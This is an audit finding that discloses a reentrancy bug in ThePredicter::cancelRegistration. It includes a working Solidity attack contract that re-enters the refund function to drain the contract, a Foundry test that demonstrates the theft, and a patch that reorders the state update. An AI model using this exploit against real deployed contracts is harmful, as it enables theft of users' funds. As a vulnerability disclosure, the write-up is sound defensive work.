Reentrancy In ThePredicter::cancelRegistration
Summary
ThePredicter::cancelRegistration does not follow CEI which enables a malicious contract to repeatedly cancel their registration to drain the contract of funds.
Vulnerability Details
ThePredicter::cancelRegistration does not follow CEI, allowing a reentrancy attack.
Include this exploit contract in ./test/attack/ThePredicterReentrancy.sol:
pragma solidity =0.8.20;
import {ThePredicter} from "../../src/ThePredicter.sol";
contract ThePredicterReentrancy {
ThePredicter internal immutable i_predicter;
address internal immutable i_owner;
constructor(address predicter) {
i_predicter = ThePredicter(predicter);
i_owner = msg.sender;
}
function attack() external payable {
i_predicter.register{value: msg.value}();
i_predicter.cancelRegistration();
}
receive() external payable {
if (address(i_predicter).balance >= msg.value) {
i_predicter.cancelRegistration();
} else {
(bool success,) = payable(i_owner).call{value: address(this).balance}("");
require(success);
}
}
}
Include the following test case in ./test/ThePredicter.t.sol:
import {ThePredicterReentrancy} from "./attack/ThePredicterReentrancy.sol";
function test_thePredicterReentrancy() public {
uint256 startingBalance = 1 ether;
uint256 entranceFee = thePredicter.entranceFee();
address stranger2 = makeAddr("stranger2");
address stranger3 = makeAddr("stranger3");
address attacker = makeAddr("attacker");
hoax(stranger, startingBalance);
thePredicter.register{value: entranceFee}();
hoax(stranger2, startingBalance);
thePredicter.register{value: entranceFee}();
hoax(stranger3, startingBalance);
thePredicter.register{value: entranceFee}();
startHoax(attacker, entranceFee);
uint256 beforeBalance = address(attacker).balance;
ThePredicterReentrancy exploit = new ThePredicterReentrancy(address(thePredicter));
exploit.attack{value: entranceFee}();
vm.stopPrank();
uint256 afterBalance = address(attacker).balance;
assertEq(afterBalance, beforeBalance + (entranceFee * 3));
assertEq(address(thePredicter).balance, 0 ether);
}
Run the test:
forge test --mt test_thePredicterReentrancy -vvvvv
Impact
Draining of contract funds.
Tools Used
Manual Analysis.
Recommendations
Follow CEI:
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}